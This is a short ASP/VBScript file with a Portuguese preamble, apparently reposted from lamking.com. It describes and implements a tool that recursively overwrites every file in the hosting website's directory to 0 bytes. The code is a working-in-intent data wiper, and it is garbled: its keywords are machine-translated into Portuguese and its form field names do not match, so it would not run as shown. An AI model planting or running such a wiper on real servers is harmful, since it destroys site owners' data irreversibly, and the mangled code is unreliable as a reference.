Função: Você pode limpar todos os arquivos do site onde este arquivo está localizado e limpar o conteúdo do arquivo para zero. Após a conclusão da operação, o tamanho de todos os arquivos será de 0 bytes.
Este código é minha criação original. Marque a reimpressão de lamking.com. Obrigado por sua cooperação. Além disso, o programa pode ser expandido
. .
Servidor.ScriptTimeout=99999
If Request("Enviar")<>"" Then
Chame ListFile(Server.mappath("./"))
Response.write "Limpeza concluída"
Outro
Response.write"<form><input type=""submit"" name=""Submit"" value=""Iniciar limpeza""></form>"
Terminar se
Função ListFile(fpath)
Em caso de erro, retomar o próximo
Dim Shell, pasta, s
Definir Shell =Server.CreateObject ("Shell.Application")
Definir pasta =Shell.Namespace(fpath)
Definir f=Server.CreateObject("Adodb.Stream")
f.Tipo=1
f.Abrir
Para cada s em Folder.Items
SE s.isfolder Então
Chame ListFile(s.path)
Outro
f.SaveToFile s.path,2
Terminar se
Próximo
Defina f=Nada
Definir Shell = nada
Função final
%>